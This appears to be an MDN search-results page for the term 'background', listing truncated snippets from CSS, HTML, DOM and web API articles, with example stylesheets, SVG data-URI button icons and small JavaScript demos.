background-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%...
...3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#play'); } button.pause {
background-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2...
...c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#pause'); } button.restart {
background-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2...
...And 3 more matches
opacity - CSS: Cascading Style Sheets
thus, the element and its children all have the same opacity relative to the element's
background, even if they have different opacities relative to one another.
... if you do not want to apply opacity to child elements, use the
background property instead.
... for example:
background: rgba(0, 0, 0, 0.4); accessibility concerns if text opacity is adjusted, it is important to ensure that the contrast ratio between the color of the text and the
background the text is placed over is high enough that people experiencing low vision conditions will be able to read the content of the page.
...And 3 more matches
<tbody>: The Table Body element - HTML: Hypertext Markup Language
bgcolor the
background color of the table.
... as this attribute is deprecated, use the css
background-color property instead.
...the cells are given a light gray outline which is a single pixel thick, padding is adjusted, and all cells are left-aligned using text-align thead > tr > th {
background-color: #cce; font-size: 18px; border-bottom: 2px solid #999; } finally, header cells contained within the <thead> block are given additional styling.
...And 3 more matches
Mobile first - Progressive web apps (PWAs)
of course, your users will be concentrating on what they're doing, but they are likely to be in a car with bad lighting, or in a noisy bar with the sport on tv in the
background!
...#top { display: none; } article, nav { display: block; } nav ul { text-align: center; } nav li { display: inline; } nav li a { border-right: 1px solid #ad66d5; border-bottom: none; display: inline-block; padding: 0 5px; font-size: 1.6em; } nav li:last-child a { border-right: none; } } @media (min-width: 600px) { html {
background: #eee; height: 100%; } body { width: 600px; height: inherit; margin: 0 auto;
background: url(../img/firefox-os.png) bottom left no-repeat, linear-gradient(to bottom, #fff, #eee); } .main > p {
background: rgba(255,255,255,0.3); } nav li a { padding: 0 10px; font-size: 2em; } } the first one cancels out the css display: table behaviour, hides th...
... the second one sets the width of the content at 600px and centers it in the space available, then adds in a gradient and a nice
background image for the wider layout.
...And 3 more matches
in - SVG: Scalable Vector Graphics
fourteen elements are using this attribute: <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <fegaussianblur>, <femergenode>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile> usage notes value sourcegraphic | sourcealpha |
backgroundimage |
backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of previous filter primitive animatable yes sourcegraphic this keyword represents the graphics elements that were the original input into the <filter> element.
...
backgroundimage this keyword represents an image snapshot of the svg document under the filter region at the time that the <filter> element was invoked.
...
backgroundalpha same as
backgroundimage except only the alpha channel is used.
...And 3 more matches
JavaScript Daemons Management - Archive of obsolete content
in computer science a daemon is a task that runs as a
background process, rather than being under the direct control of an interactive user.
...is.appendchild(ospan); } } var nmaxdist = 25, aletters = [], stext = "do you feel lucky, punk?", orecompose = new daemon(document.createelement("p"), perform, 33, 30, prepare); onload = function () { orecompose.owner.id = "perform-me"; document.body.appendchild(orecompose.owner); orecompose.play(); }; </script> <style type="text/css"> body { font-family: monospace, sans-serif;
background: #dddddd; overflow: hidden; } #perform-me { margin: 50px; font-size: 20px; line-height: 20px; } </style> </head> <body> <h1>new daemon(<em>@thisobject</em>, <em>@callback</em>[, <em>@rate</em>, <em>@length</em>, <em>@init</em>, <em>@onstart</em>])</h1> <p><button onclick="orecompose.skipto(11);">skipto(11)</button> <button onclick="orecompose.makesteps(29);">makesteps(29)</button> <bu...
... oletter.val : this.pool[parseint(math.random() * this.pool.length)]; } } }, 33, 30); onload = function () { ounhide.owner.target.id = "animate-me"; document.body.appendchild(ounhide.owner.target); ounhide.play(); }; </script> <style type="text/css"> body { font-family: monospace, sans-serif;
background: #dddddd; overflow: hidden; } #animate-me { margin: 50px; font-size: 20px; line-height: 20px; } </style> </head> <body> <h1>daemon.buildaround()</h1> <p><button onclick="ounhide.skipto(11);">skipto(11)</button> <button onclick="ounhide.makesteps(29);">makesteps(29)</button> <button onclick="ounhide.fixposition(-13);">fixposition(-13)</button> <button onclick="ounhide.play();">play</bu...
...And 2 more matches
XUL Questions and Answers - Archive of obsolete content
(server can just send the xul code to use for popup - alternatively it can send generic xml describing the attributes of the items in the menu and you generate the xul on client by applying an xslt transform.) can i change a xul tree cell/row/item
background color with javascript?
... to set the
background color you need to set the property for the cell/row and not for the item.
... an example of this is: var tree = document.getelementbyid('treeid'); selectedtreeitem = tree.view.getitematindex(tree.currentindex); selectedtreeitem.firstchild.setattribute('style', '
background: #ff0000'); what is an example of tab browser in xul?
...And 2 more matches
Common Firefox theme issues and solutions - Archive of obsolete content
@media all and (-moz-windows-compositor) { /* make transition to fullscreen mode seamlessly in firefox 10+ */ #main-window[infullscreen="true"] { -moz-appearance: none;
background-color: -moz-dialog!important; } } for more information about this issue please see bug 732757 and bug 732757 and this mozillazine thread.
... style inspector's bread crumb buttons are hard to read the text labels of breadcrumbs on the style inspector (tools > web developer > inspect) are too similar to the
background colors making them very hard to read.
... please choose text label colors that stand out against the
background color better.
...And 2 more matches
Browser Feature Detection - Archive of obsolete content
.close() true true true document.write() true true true document.writeln() true true true document.getelementbyid() true true true document.getelementsbyname() true true true dom css 1 support for properties/methods in document.body.style name firefox 1.5 ie 6 & 7 opera 8.54 - 9.01
background true true true
backgroundattachment true true true
backgroundcolor true true true
backgroundimage true true true
backgroundrepeat true true true border true true true borderspacing true false true borderstyle true true true bordertop true true tr...
...orm true true true verticalalign true true true whitespace true true true width true true true wordspacing true true true dom css 2 support for properties/methods in document.body.style</caption> name firefox 1.5 ie 6 & 7 opera 8.54 - 9.01 azimuth true false false
backgroundposition true true true bordercollapse true true true borderspacing true false true bordertopcolor true true true borderrightcolor true true true borderbottomcolor true true true borderleftcolor true true true bordertopstyle true true true borderrightstyle...
...ted': false}, {name: 'createentityreference', 'supported': false}, {name: 'getelementsbytagname', 'supported': false}, {name: 'importnode', 'supported': false}, {name: 'createelementns', 'supported': false}, {name: 'createattributens', 'supported': false}, {name: 'getelementsbytagnamens', 'supported': false}, {name: 'getelementbyid', 'supported': false} ], 'domcss1': [ {name: '
background', 'supported': false}, {name: '
backgroundattachment', 'supported': false}, {name: '
backgroundcolor', 'supported': false}, {name: '
backgroundimage', 'supported': false}, {name: '
backgroundrepeat', 'supported': false}, {name: 'border', 'supported': false}, {name: 'borderspacing', 'supported': false}, {name: 'borderstyle', 'supported': false}, {name: 'bordertop', 'supported': false},...
...And 2 more matches
Styling the Amazing Netscape Fish Cam Page - Archive of obsolete content
since the image was floated, any
background or border we set on the h3 would "slide under" the image; this is an expected effect with floated elements.
...i then set up a thicker double border on the left, a one-pixel border the rest of the way around, and set the
background to match the rest of the design.
... thus: div.card {float: left; width: 45%; margin: 1em 2% 0 2%;} div.card img {float: left; margin: 4px 0 0 0; border: 1px solid #339;} div.card h3 {border: 1px solid #339; border-left: 5px double #339;
background: #eec url(body-bg-tan.jpg) bottom left no-repeat fixed; color: #339;} finishing the style adding the
background to the heading containing the name of the fish created three problems: the double border was completely covered up by the image.
...And 2 more matches
Cascade and inheritance - Learn web development
the first two selectors are competing over the styling of the link's
background color — the second one wins and makes the
background color blue because it has an extra id selector in the chain: its specificity is 201 vs.
... let's walk through this to see what's happening — try removing some of the properties to see what happens if you are finding it hard to understand: you'll see that the third rule's color and padding values have been applied, but the
background-color hasn't.
...since ids have an even higher specificity than classes (you can only have one element with each unique id on a page, but many elements with the same class — id selectors are very specific in what they target), the red
background color and the 1 pixel black border should both be applied to the 2nd element, with the first element getting the gray
background color, and no border, as specified by the class.
...And 2 more matches
Creating fancy letterheaded paper - Learn web development
objective: to test comprehension of css box model, and other box-related features such as implementing
backgrounds.
... add a
background declaration to the letter that: fixes the top image to the top of the letter fixes the bottom image to the bottom of the letter adds a semi-transparent gradient over the top of both of the previous
backgrounds that gives the letter a bit of texture.
... add another
background declaration that just adds the top image to the top of the letter, as a fallback for browsers that don't support the previous declaration.
...And 2 more matches
Test your skills: Selectors - Learn web development
give h2 headings a blue
background and white text.
... selectors two without changing the html, make the following changes to the look of the content in this example: give the element with an id of special a yellow
background.
... if the element with a class of alert also has a class of stop, make the
background red.
...And 2 more matches
Multiple-column layout - Learn web development
there is no way to make one column bigger than other columns, or to change the
background or text color of a single column.
... spanning the columns body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 arial, helvetica, sans-serif; } .container { column-count: 3; column-gap: 20px; column-rule: 4px dotted rgb(79, 185, 227); } h2 { column-span: all;
background-color: rgb(79, 185, 227); color: white; padding: .5em; } <div class="container"> <h1>simple multicol example</h1> <p> lorem ipsum dolor sit amet, consectetur adipiscing elit.
...integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.</p> </div> </div> .container { column-width: 250px; column-gap: 20px; } .card {
background-color: rgb(207, 232, 220); border: 2px solid rgb(79, 185, 227); padding: 10px; margin: 0 0 1em 0; } to control this behavior we can use properties from the css fragmentation specification.
...And 2 more matches
Styling web forms - Learn web development
before we start coding, we need three additional assets: the postcard
background — download this image and save it in the same directory as your working html file.
...ournal-webfont.woff') format('woff'); font-weight: normal; font-style: normal; } @font-face { font-family: 'typewriter'; src: url('fonts/veteran_typewriter-webfont.woff2') format('woff2'), url('fonts/veteran_typewriter-webfont.woff') format('woff'); font-weight: normal; font-style: normal; } body { font : 1.3rem sans-serif; padding : 0.5em; margin : 0;
background : #222; } form { position : relative; width : 740px; height : 498px; margin : 0 auto; padding: 1em; box-sizing: border-box;
background : #fff url(
background.jpg); /* we create our grid */ display : grid; grid-gap : 20px; grid-template-columns : repeat(2, 1fr); grid-template-rows : 10em 1em 1em 1em; } notice that we've used some css grid and flexbox to lay out the f...
...simply put, we remove their borders and
backgrounds, and redefine their padding and margin: input, textarea { font : 1.4em/1.5em "handwriting", cursive, sans-serif; border : none; padding : 0 10px; margin : 0; width : 80%;
background : none; } when one of these fields gains focus, we highlight them with a light grey, transparent,
background (it is always important to have focus style, for usability and keyboard accessibility)...
...And 2 more matches
HTML text fundamentals - Learn web development
my legs are made of cardboard and i am married to a fish.</textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px;
background: #f5f9fa; } var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var solution = document.getelementbyid('solution'); var output = document.queryselector('.output'); var code = textarea.value; var userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.value = code...
...ut" style="min-height: 100px; width: 95%">milk eggs bread hummus</textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px;
background: #f5f9fa; } var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var solution = document.getelementbyid('solution'); var output = document.queryselector('.output'); var code = textarea.value; var userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.value = code...
...d roundabout the school is on your right, 300 meters up the road</textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px;
background: #f5f9fa; } var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var solution = document.getelementbyid('solution'); var output = document.queryselector('.output'); var code = textarea.value; var userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.value = code...
...And 2 more matches
Build your own function - Learn web development
this one is going to involve slightly more work — we are going to set it so that depending on what the msgtype parameter is set to, the function will display a different icon and a different
background color.
...} rule: padding-left: 82px;
background-position: 25px center;
background-repeat: no-repeat; now we need to add code to our displaymessage() function to handle displaying the icons.
... add the following block just above the closing curly brace (}) of your function: if (msgtype === 'warning') { msg.style.
backgroundimage = 'url(icons/warning.png)'; panel.style.
backgroundcolor = 'red'; } else if (msgtype === 'chat') { msg.style.
backgroundimage = 'url(icons/chat.png)'; panel.style.
backgroundcolor = 'aqua'; } else { msg.style.paddingleft = '20px'; } here, if the msgtype parameter is set as 'warning', the warning icon is displayed and the panel's
background color is set to red.
...And 2 more matches
Manipulating documents - Learn web development
as an example, try adding these lines to our ongoing example: para.style.color = 'white'; para.style.
backgroundcolor = 'black'; para.style.padding = '10px'; para.style.width = '250px'; para.style.textalign = 'center'; reload the page and you'll see that the styles have been applied to the paragraph.
... if you look at that paragraph in your browser's page inspector/dom inspector, you'll see that these lines are indeed adding inline styles to the document: <p style="color: white;
background-color: black; padding: 10px; width: 250px; text-align: center;">we hope you enjoyed the ride.</p> note: notice how the javascript property versions of the css styles are written in lower camel case whereas the css versions are hyphenated (e.g.
...
backgroundcolor versus
background-color).
...And 2 more matches
Beginning our React todo list - Learn web development
e into src/index.css so that it replaces what's currently there: /* resets */ *, *::before, *::after { box-sizing: border-box; } *:focus { outline: 3px dashed #228bec; outline-offset: 0; } html { font: 62.5% / 1.15 sans-serif; } h1, h2 { margin-bottom: 0; } ul { list-style: none; padding: 0; } button { border: none; margin: 0; padding: 0; width: auto; overflow: visible;
background: transparent; color: inherit; font: inherit; line-height: normal; -webkit-font-smoothing: inherit; -moz-osx-font-smoothing: inherit; -webkit-appearance: none; } button::-moz-focus-inner { border: 0; } button, input, optgroup, select, textarea { font-family: inherit; font-size: 100%; line-height: 1.15; margin: 0; } button, input { overflow: visible; } input[type="text"] { ...
... border-radius: 0; } body { width: 100%; max-width: 68rem; margin: 0 auto; font: 1.6rem/1.25 arial, sans-serif;
background-color: #f5f5f5; color: #4d4d4d; } @media screen and (min-width: 620px) { body { font-size: 1.9rem; line-height: 1.31579; } } /*end resets*/ /* global styles */ .form-group > input[type="text"] { display: inline-block; margin-top: 0.4rem; } .btn { padding: 0.8rem 1rem 0.7rem; border: 0.2rem solid #4d4d4d; cursor: pointer; text-transform: capitalize; } .btn.toggle-btn { border-width: 1px; border-color: #d3d3d3; } .btn.toggle-btn[aria-pressed="true"] { text-decoration: underline; border-color: #4d4d4d; } .btn__danger { color: #fff;
background-color: #ca3c3c; border-color: #bd2130; } .btn__filter { border-color: lightgrey; } .btn__...
...primary { color: #fff;
background-color: #000; } .btn-group { display: flex; justify-content: space-between; } .btn-group > * { flex: 1 1 49%; } .btn-group > * + * { margin-left: 0.8rem; } .label-wrapper { margin: 0; flex: 0 0 100%; text-align: center; } .visually-hidden { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px 1px 1px 1px); clip: rect(1px, 1px, 1px, 1px); white-space: nowrap; } [class*="stack"] > * { margin-top: 0; margin-bottom: 0; } .stack-small > * + * { margin-top: 1.25rem; } .stack-large > * + * { margin-top: 2.5rem; } @media screen and (min-width: 550px) { .stack-small > * + * { margin-top: 1.4rem; } .stack-large > * + * { margin-top: 2.8rem; } } .stack-exception { margin-top: 1.2rem; }...
...And 2 more matches
Starting our Svelte Todo list app - Learn web development
e the contents of the file public/global.css with the following: /* resets */ *, *::before, *::after { box-sizing: border-box; } *:focus { outline: 3px dashed #228bec; outline-offset: 0; } html { font: 62.5% / 1.15 sans-serif; } h1, h2 { margin-bottom: 0; } ul { list-style: none; padding: 0; } button { border: none; margin: 0; padding: 0; width: auto; overflow: visible;
background: transparent; color: inherit; font: inherit; line-height: normal; -webkit-font-smoothing: inherit; -moz-osx-font-smoothing: inherit; -webkit-appearance: none; } button::-moz-focus-inner { border: 0; } button, input, optgroup, select, textarea { font-family: inherit; font-size: 100%; line-height: 1.15; margin: 0; } button, input { overflow: visible; } input[type="text"] { ...
... border-radius: 0; } body { width: 100%; max-width: 68rem; margin: 0 auto; font: 1.6rem/1.25 arial, sans-serif;
background-color: #f5f5f5; color: #4d4d4d; } @media screen and (min-width: 620px) { body { font-size: 1.9rem; line-height: 1.31579; } } /*end resets*/ /* global styles */ .form-group > input[type="text"] { display: inline-block; margin-top: 0.4rem; } .btn { padding: 0.8rem 1rem 0.7rem; border: 0.2rem solid #4d4d4d; cursor: pointer; text-transform: capitalize; } .btn.toggle-btn { border-width: 1px; border-color: #d3d3d3; } .btn.toggle-btn[aria-pressed="true"] { text-decoration: underline; border-color: #4d4d4d; } .btn__danger { color: #fff;
background-color: #ca3c3c; border-color: #bd2130; } .btn__filter { border-color: lightgrey; } .btn_...
..._primary { color: #fff;
background-color: #000; } .btn__primary:disabled { color: darkgrey;
background-color:#565656; } .btn-group { display: flex; justify-content: space-between; } .btn-group > * { flex: 1 1 49%; } .btn-group > * + * { margin-left: 0.8rem; } .label-wrapper { margin: 0; flex: 0 0 100%; text-align: center; } .visually-hidden { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px 1px 1px 1px); clip: rect(1px, 1px, 1px, 1px); white-space: nowrap; } [class*="stack"] > * { margin-top: 0; margin-bottom: 0; } .stack-small > * + * { margin-top: 1.25rem; } .stack-large > * + * { margin-top: 2.5rem; } @media screen and (min-width: 550px) { .stack-small > * + * { margin-top: 1.4rem; } .stack-large > * + *...
...And 2 more matches
HTTP Cache
not specified, this storage will operate over all existing app caches the service also provides methods to clear the whole disk and memory cache content or purge any intermediate memory structures: clear – after it returns, all entries are no longer accessible through the cache apis; the method is fast to execute and non-blocking in any way; the actual erase happens in
background purgefrommemory – removes (schedules to remove) any intermediate cache data held in memory for faster access (more about the intermediate cache below) nsiloadcontextinfo distinguishes the scope of the storage demanded to open.
... the cache is using a single
background thread where any io operations like opening, reading, writing and erasing happen.
...xcept opening priority cache files also file dooming happens here to prevent races read_priority: top level documents and head blocking script cache files are open and read as the first open read: any normal priority content, such as images are open and read here write: writes are processed as last, we cache data in memory in the mean time management: level for the memory pool and cacheentry
background operations close: file closing level index: index is being rebuild here evict: files overreaching the disk space consumption limit are being evicted here note: special case for eviction - when an eviction is scheduled on the io thread, all operations pending on the open level are first merged to the open_priority level.
...And 2 more matches
nsILocalFileMac
obsolete since gecko 1.9.2 boolean ispackage(); void launchwithdoc(in nsilocalfile adoctoload, in boolean alaunchin
background); void opendocwithapp(in nsilocalfile aapptoopenwith, in boolean alaunchin
background); void setfiletypeandcreatorfromextension(in string aextension); obsolete since gecko 1.9.2 void setfiletypeandcreatorfrommimetype(in string amimetype); obsolete since gecko 1.9.2 attributes attribute type description bundledisplayname astring returns the display name of the application bundle (usua...
...void launchwithdoc( in nsilocalfile adoctoload, in boolean alaunchin
background ); parameters adoctoload must not be null.
...alaunchin
background true if the application should not come to the front.
...And 2 more matches
CSS Painting API - Web APIs
the css painting api — part of the css houdini umbrella of apis — allows developers to write javascript functions that can draw directly into an element's
background, border, or content.
...you can then apply these values to properties like
background-image to set complex custom
backgrounds on an element.
... for example: aside {
background-image: paint(mypaintedimage); } the api defines paintworklet, a worklet that can be used to programmatically generate an image that responds to computed style changes.
...And 2 more matches
Basic animations - Web APIs
the number of callbacks is usually 60 times per second and may be reduced to a lower rate when running in
background tabs.
... for (var i = 0; i < 10; i++) { var r = 30; var x = math.random() * (innerwidth - 2 * r) + r; var y = math.random() * (innerheight - 2 * r) + r; var t = new ob(innerwidth / 2,innerheight / 2,5,"red",math.random() * 200 + 20,2); a.push(t); } //cn.style.
backgroundcolor = "#700bc8"; c.linewidth = "2"; c.globalalpha = 0.5; resize(); anim() } window.onresize = function() { resize(); } function resize() { cn.height = innerheight; cn.width = innerwidth; for (var i = 0; i < 101; i++) { ...
..."rgba(0,0,0,0.05)"; c.fillrect(0, 0, cn.width, cn.height); a.foreach(function(e, i) { e.dr(); }); } </script> <style> #cw { position: fixed; z-index: -1; } body { margin: 0; padding: 0;
background-color: rgba(0,0,0,0.05); } </style> </head> <body> <canvas id="cw"></canvas> </body> </html> output snake game <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width,initial-scale=1"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title>nokia 1100...
...And 2 more matches
Examples of web and XML development using the DOM - Web APIs
var ss = document.stylesheets; for(var i = 0; i < ss.length; i++) { for(var j = 0; j < ss[i].cssrules.length; j++) { dump( ss[i].cssrules[j].selectortext + "\n" ); } } for a document with a single stylesheet in which the following three rules are defined: body {
background-color: darkblue; } p { font-face: arial; font-size: 10pt; margin-left: .125in; } #lumpy { display: none; } this script outputs the following: body p #lumpy example 5: event propagation this example demonstrates how events fire and are handled in the dom in a very simple way.
... <!doctype html> <html lang="en"> <head> <title>event propagation</title> <style> #t-daddy { border: 1px solid red } #c1 {
background-color: pink; } </style> <script> function stopevent(ev) { c2 = document.getelementbyid("c2"); c2.innerhtml = "hello"; // this ought to keep t-daddy from getting the click.
...y onload="load();"> <table id="t-daddy" onclick="alert('hi');"> <tr id="tbl1"> <td id="c1">one</td> </tr> <tr> <td id="c2">two</td> </tr> </table> </body> </html> example 6: getcomputedstyle this example demonstrates how the window.getcomputedstyle method can be used to get the styles of an element that are not set using the style attribute or with javascript (e.g., elt.style.
backgroundcolor="rgb(173, 216, 230)").
...And 2 more matches
Service Worker API - Web APIs
they will also allow access to push notifications and
background sync apis.
... if there is an existing service worker available, the new version is installed in the
background, but not yet activated — at this point it is called the worker in waiting.
... other use case ideas service workers are also intended to be used for such things as:
background data synchronization.
...And 2 more matches
Realizing common layouts using CSS Grid Layout - CSS: Cascading Style Sheets
* {box-sizing: border-box;} .wrapper { max-width: 1024px; margin: 0 auto; font: 1.2em helvetica, arial, sans-serif; } .wrapper > * { border: 2px solid #f08c00;
background-color: #ffec99; border-radius: 5px; padding: 10px; } nav ul { list-style: none; margin: 0; padding: 0; } <div class="wrapper"> <header class="main-head">the header</header> <nav class="main-nav"> <ul> <li><a href="">nav 1</a></li> <li><a href="">nav 2</a></li> <li><a...
... .wrapper { max-width: 1024px; margin: 0 auto; font: 1.2em helvetica, arial, sans-serif; } .wrapper > * { border: 2px solid #f08c00;
background-color: #ffec99; border-radius: 5px; padding: 10px; } .wrapper { display: grid; grid-template-columns: repeat(12, [col-start] 1fr); grid-gap: 20px; } to demonstrate how this grid system works i have four child elements inside my wrapper.
... * {box-sizing: border-box;} .wrapper { max-width: 1024px; margin: 0 auto; font: 1.2em helvetica, arial, sans-serif; } .wrapper > * { border: 2px solid #f08c00;
background-color: #ffec99; border-radius: 5px; padding: 10px; } nav ul { list-style: none; margin: 0; padding: 0; } <div class="wrapper"> <header class="main-head">the header</header> <nav class="main-nav"> <ul> <li><a href="">nav 1</a></li> <li><a href="">nav 2</a></li> <li><a...
...And 2 more matches
CSS values and units - CSS: Cascading Style Sheets
for example, if you wanted to include a
background image, you might use either of the following.
... .box {
background-image: url("images/my-
background.png"); } .box {
background-image: url("https://www.exammple.com/images/my-
background.png"); } the parameter for url() can be either quoted or unquoted.
...it's
background color), and is defined in the css color module.
...And 2 more matches
Layout and the containing block - CSS: Cascading Style Sheets
<body> <section> <p>this is a paragraph!</p> </section> </body> body {
background: beige; } section { display: block; width: 400px; height: 160px;
background: lightgray; } p { width: 50%; /* == 400px * .5 = 200px */ height: 25%; /* == 160px * .25 = 40px */ margin: 5%; /* == 400px * .05 = 20px */ padding: 5%; /* == 400px * .05 = 20px */
background: cyan; } example 2 in this example, the paragraph's containing block is the <body> element, because <...
... <body> <section> <p>this is a paragraph!</p> </section> </body> body {
background: beige; } section { display: inline;
background: lightgray; } p { width: 50%; /* == half the body's width */ height: 200px; /* note: a percentage would be 0 */
background: cyan; } example 3 in this example, the paragraph's containing block is <section> because the latter's position is absolute.
... <body> <section> <p>this is a paragraph!</p> </section> </body> body {
background: beige; } section { position: absolute; left: 30px; top: 30px; width: 400px; height: 160px; padding: 30px 20px;
background: lightgray; } p { position: absolute; width: 50%; /* == (400px + 20px + 20px) * .5 = 220px */ height: 25%; /* == (160px + 30px + 30px) * .25 = 55px */ margin: 5%; /* == (400px + 20px + 20px) * .05 = 22px */ padding: 5%; /* == (400px + 20px + 20px) * .05 = 22px */
background: cyan; } example 4 in this example, the paragraph's position is fixed, so its containing block...
...And 2 more matches
WebKit CSS extensions - CSS: Cascading Style Sheets
a -webkit-animation-trigger -webkit-app-region -webkit-appearance* -webkit-aspect-ratio b -webkit-backdrop-filter -webkit-
background-composite -webkit-border-after** -webkit-border-after-color** -webkit-border-after-style** -webkit-border-after-width** -webkit-border-before** -webkit-border-before-color** -webkit-border-before-style** -webkit-border-before-width** -webkit-border-end** -webkit-border-end-color** -webkit-border-end-style** -webkit-border-end-width** -webkit-border-fit -webkit-border-horizontal-spac...
... a -webkit-align-content -webkit-align-items -webkit-align-self -webkit-animation -webkit-animation-delay -webkit-animation-direction -webkit-animation-duration -webkit-animation-fill-mode -webkit-animation-iteration-count -webkit-animation-name -webkit-animation-play-state -webkit-animation-timing-function b -webkit-backface-visibility -webkit-
background-clip -webkit-
background-origin -webkit-
background-size -webkit-border-bottom-left-radius -webkit-border-bottom-right-radius -webkit-border-image -webkit-border-radius -webkit-border-top-left-radius -webkit-border-top-right-radius -webkit-box-decoration-break -webkit-box-shadow -webkit-box-sizing c -webkit-clip-path -webkit-column-count -webkit-column-fill -webkit-column-gap -w...
... a -webkit-align-content -webkit-align-items -webkit-align-self -webkit-animation -webkit-animation-delay -webkit-animation-direction -webkit-animation-duration -webkit-animation-fill-mode -webkit-animation-iteration-count -webkit-animation-name -webkit-animation-play-state -webkit-animation-timing-function -webkit-appearance* b -webkit-backface-visibility -webkit-
background-clip -webkit-
background-origin -webkit-
background-size -webkit-border-bottom-left-radius -webkit-border-bottom-right-radius -webkit-border-image -webkit-border-radius -webkit-box-align**, *** -webkit-box-direction**, *** -webkit-box-flex**, *** -webkit-box-orient**, *** -webkit-box-pack**, *** -webkit-box-shadow -webkit-box-sizing -webkit-border-top-left-radius -webkit-border-top-r...
...And 2 more matches
all - CSS: Cascading Style Sheets
css body { font-size: small;
background-color: #f0f0f0; color: blue; } blockquote {
background-color: skyblue; color: red; } result no all property <blockquote id="quote">lorem ipsum dolor sit amet, consectetur adipiscing elit.</blockquote> phasellus eget velit sagittis.
... body { font-size: small;
background-color: #f0f0f0; color:blue; } blockquote {
background-color: skyblue; color: red; } the <blockquote> uses the browser's default styling together with a specific
background and text color.
... body { font-size: small;
background-color: #f0f0f0; color:blue; } blockquote {
background-color: skyblue; color: red; } blockquote { all: unset; } the <blockquote> doesn't use the browser default styling: it is an inline element now (initial value), its
background-color is transparent (initial value), but its font-size is still small (inherited value) and its color is blue (inherited value).
...And 2 more matches
<position> - CSS: Cascading Style Sheets
it is used in the
background-position and offset-anchor properties.
...| [ [ left | right ] [ <length> | <percentage> ] ] && [ [ top | bottom ] [ <length> | <percentage> ] ] ] note: the
background-position property also accepts a three-value syntax.
... candidate recommendation relists links to both definitions: if css
backgrounds and borders module level 3 is supported, its definition of <position> must also be used.
...And 2 more matches
transform-origin - CSS: Cascading Style Sheets
ge> | left | center | right | top | bottom ] | [ [ <length-percentage> | left | center | right ] && [ <length-percentage> | top | center | bottom ] ] <length>?where <length-percentage> = <length> | <percentage> examples code sample transform: none; <div class="box1"> </div> .box1 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px;
